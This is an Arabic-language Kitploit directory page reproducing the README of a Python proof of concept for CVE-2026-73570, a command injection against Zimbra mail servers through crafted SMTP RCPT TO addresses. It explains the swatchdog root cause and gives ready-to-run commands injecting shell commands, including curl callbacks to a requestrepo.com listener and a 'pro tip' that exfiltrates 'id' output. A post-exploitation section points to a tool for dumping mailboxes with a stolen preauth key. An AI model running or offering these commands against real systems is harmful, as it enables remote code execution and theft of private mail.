Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-73570 — # Python PoC لـ CVE-2026-73570، حقن أوامر SMTP في Zimbra. يرسل حمولات RCPT TO غير صالحة لتفعيل تنفيذ أوامر الصدفة عبر swatchdog، مع فحص تلقائي للمنافذ والتحقق خارج النطاق (OOB). | Kitploit
أدوات/GitHubGitHub/jishino567/cve-2026-73570
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقأمان البريد الإلكتروني
GitHubjishino567/cve-2026-73570

CVE-2026-73570

# Python PoC لـ CVE-2026-73570، حقن أوامر SMTP في Zimbra. يرسل حمولات RCPT TO غير صالحة لتفعيل تنفيذ أوامر الصدفة عبر swatchdog، مع فحص تلقائي للمنافذ والتحقق خارج النطاق (OOB).

عرض المستودع
2110منذ 22 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-73570 PoC - مختبِر حقن أوامر SMTP

سكربت Python مخصص ومنخفض المستوى (PoC) لاختبار ثغرات حقن أوامر SMTP (CVE-2026-73570).

تقوم هذه الأداة بإرسال عنوان RCPT TO غير صالح يحتوي على استبدال أوامر بنمط شل (مثل $(command)) لتحديد ما إذا كان خادم البريد المستهدف أو خط معالجة البيانات اللاحق الخاص به يمرر العنوان عبر شل دون تعقيم.

⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط. تأكد من حصولك على إذن صريح لاختبار البنية التحتية المستهدفة. الفحص أو الاستغلال غير المصرح به لخوادم البريد غير قانوني.

معلومات الثغرة (الاستهداف: Zimbra)

ليست كل خوادم Zimbra معرضة للثغرة. يجب أن تتحقق جميع هذه الشروط:

  1. حزمة zimbra-snmp الاختيارية مثبتة (غالبًا ما يُطلب ذلك أثناء التثبيت).
  2. إشعارات مصائد SNMP مفعّلة (snmp_notify).
  3. خدمة swatchdog قيد التشغيل (مفعّلة افتراضيًا).

سطح الهجوم: لا يحتاج الهجوم إلى تعريض SNMP (UDP/161/162) للمهاجم. يصل الإدخال الخبيث عبر SMTP القياسي.

السبب الجذري

تقوم عملية swatchdog بتتبع /var/log/zimbra.log باستخدام الإعدادات من /opt/zimbra/conf/swatchrc.in. وهي تطابق إدخالات السجل بنشاط باستخدام التعبيرات النمطية التالية:

root@kitploit:~
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/

يتم التعامل مع مجموعة الالتقاط (.*) كاسم خدمة. يقوم سكربت dosnmp بعد ذلك بإقحام النص الملتقط مباشرة في أمر Perl بعلامات backtick snmptrap. نظرًا لأن علامات backtick في Perl تُنفَّذ عبر شل النظام، فإن أي محارف شل واردة في (.*) يتم تقييمها وتنفيذها.

ناقل الحقن

يحصل المهاجمون على النص الخبيث في السجل عن طريق إرسال أمر SMTP (مثل RCPT TO) بحيث تبدو وسيطته كسطر حقيقي لحالة الخدمة. يسجل Postfix هذا كصيغة عنوان غير قانونية، لكن swatchdog لا يزال يطابق التعبير النمطي في سطر السجل ويمرر الحمولة إلى الشل.


الميزات

  • عميل SMTP مخصص منخفض المستوى: يتجاوز التحقق الداخلي من العناوين في مكتبة smtplib القياسية في Python لإرسال حمولات خام غير متوافقة مع RFC تمامًا كما يفعل المهاجم.
  • فحص المنافذ تلقائيًا: يفحص تلقائيًا منافذ SMTP المفتوحة (25، 465، 587) ويختار منفذًا متاحًا.
  • دعم SSL/TLS الضمني: يتفاوض تلقائيًا على SSL/TLS إذا كان المنفذ المستهدف هو 465 (SMTPS).
  • حقن حمولة مخصصة: يقبل أوامر شل عشوائية عبر علامة --command.
  • واجهة CLI نظيفة: مبنية باستخدام argparse لسهولة التكامل في سير عمل الاختبار.

المتطلبات الأساسية

  • Python 3.6+
  • لا توجد تبعيات خارجية مطلوبة (تستخدم مكتبة Python القياسية فقط)

التثبيت

احفظ السكربت في ملف باسم CVE-2026-73570.py (أو أي اسم تفضله):

root@kitploit:~
# مثال: تنزيل أو إنشاء الملف
nano CVE-2026-73570.py

الاستخدام

يمكنك تشغيل السكربت بعدة طرق اعتمادًا على سيناريو الاختبار الخاص بك.

1. الفحص والتنفيذ التلقائي

إذا لم تحدد منفذًا، سيقوم السكربت بفحص المنافذ 25 و465 و587، ويستهدف تلقائيًا أول منفذ مفتوح.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"

2. استهداف منفذ محدد

إذا كنت تعرف المنفذ المستهدف بالفعل (مثل 465)، يمكنك تخطي تخمين الفحص.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"

3. الفحص فقط (الاستطلاع)

إذا كنت تريد فقط التحقق من منافذ البريد المفتوحة على هدف دون إرسال الحمولة.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only

وسائط سطر الأوامر

ArgumentShortDescriptionDefault
--host-Hعنوان IP أو نطاق المضيف المستهدف.127.0.0.1
--port-pالمنفذ المستهدف. إذا تم حذفه، يفحص 25 و465 و587 ويستهدف منفذًا مفتوحًا.None (تلقائي)
--command-cأمر الشل لحقنه في حمولة SMTP.TEST_PAYLOAD
--scan-only-sفحص المنافذ فقط والخروج دون إرسال حمولة الحقن.False

كيفية التحقق من الاستغلال

تشغيل السكربت وحده يثبت فقط أن خادم البريد يستقبل عنوان RCPT TO غير الصالح. لتأكيد حقن الأوامر الفعلي دون الحاجة إلى وصول مباشر إلى نظام الملفات أو السجلات على الهدف، استخدم استدعاء خارج النطاق (OOB) عبر HTTP.

  1. إعداد مستمع: انتقل إلى requestrepo.com (أو استخدم Burp Suite Collaborator / Webhook.site) وانسخ عنوان URL الفريد الخاص بك (مثل http://xyz123.requestrepo.com).
  2. تشغيل PoC: نفّذ السكربت باستخدام curl للوصول إلى عنوان URL الفريد الخاص بك:
    root@kitploit:~
    python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
    
  3. التحقق من الاستدعاءات: حدّث لوحة تحكم Request Repo. إذا رأيت طلب HTTP GET واردًا، فقد نجح حقن الأوامر.

نصيحة احترافية (سرقة البيانات): يمكنك سرقة مخرجات الأوامر عن طريق حقنها في مسار URL لاستدعائك:

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"

تحقق من لوحة تحكم Request Repo لرؤية مخرجات uid=0(root) في المسار المطلوب.

⚠️ ملاحظة مهمة: "الوصول مرفوض" لا تعني "تم تطبيق التصحيح"

أثناء الاختبار، قد تتلقى استجابة SMTP مثل هذه:

root@kitploit:~
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied

لا تفترض أن الثغرة قد فشلت لمجرد رفض العنوان.

العديد من خوادم البريد (مثل Postfix أو Exim) ستقبل الحمولة نحويًا أثناء معاملة SMTP، لكنها ترفض فورًا محاولة التسليم لأن النطاق/المستلم ليس في قائمة إعادة التوجيه المسموح بها.

تحدث ثغرة CVE-2026-73570 بعد حدوث هذا الرفض. تتدفق السلسلة الخبيثة إلى /var/log/zimbra.log كإدخال سجل لصيغة عنوان غير قانونية. يتتبع swatchdog هذا السجل، ويطابق الحمولة، ويمررها إلى الشل.

نظرًا لأن الحمولة لا تزال تصل إلى هذه الأنظمة الخلفية للتسجيل، فإن استبدال الأوامر ($()) لا يزال يُنفَّذ. اعتمد دائمًا على استدعاء OOB الخاص بك (مثل Request Repo) للتحقق من النجاح، بغض النظر عن رمز استجابة SMTP.

ما بعد الاستغلال

بمجرد تحقيق تنفيذ الأوامر عبر حقن swatchdog، يعمل المهاجم عادةً كمستخدم zimbra. من هنا، غالبًا ما يكون الهدف الأساسي هو الوصول إلى بيانات صندوق البريد.

لتسهيل هذه الخطوة التالية، يمكنك استخدام zimbraKing — أداة مخصصة مصممة لتفريغ صناديق بريد Zimbra.

  • المستودع: https://github.com/jishino567/zimbraKing

سيناريو الاستخدام: خلال مرحلة ما بعد الاستغلال، إذا كنت قادرًا على قراءة ملفات إعدادات Zimbra واستخراج preAuthKey (الموجود عادةً في /opt/zimbra/conf/localconfig.xml تحت المفتاح zimbra_preauth_key) أو إذا حصلت على بيانات اعتماد صالحة لحساب Zimbra، يمكنك إدخالها في zimbraKing.

تستخدم الأداة preAuthKey أو بيانات اعتماد الحساب للمصادقة ضد واجهة SOAP API الخاصة بـ Zimbra وتفريغ محتويات صندوق البريد المستهدف بشكل منهجي دون الحاجة إلى التفاعل المباشر مع قاعدة البيانات أو نظام الملفات الأساسي.

لماذا لا نستخدم smtplib؟

تفرض مكتبة smtplib المدمجة في Python معايير RFC صارمة. إذا حاولت تمرير عنوان يحتوي على "، $، (، و) عبر smtplib.sendmail()، فستقوم المكتبة إما بتشويه السلسلة لجعلها "آمنة" أو ستُطلق استثناء SMTPRecipientsRefused قبل وصول البيانات إلى الشبكة. يستخدم هذا العميل المخصص مآخذ خام (raw sockets) لضمان تسليم الحمولة الاستغلالية بايتًا ببايت.

تنزيل الأداة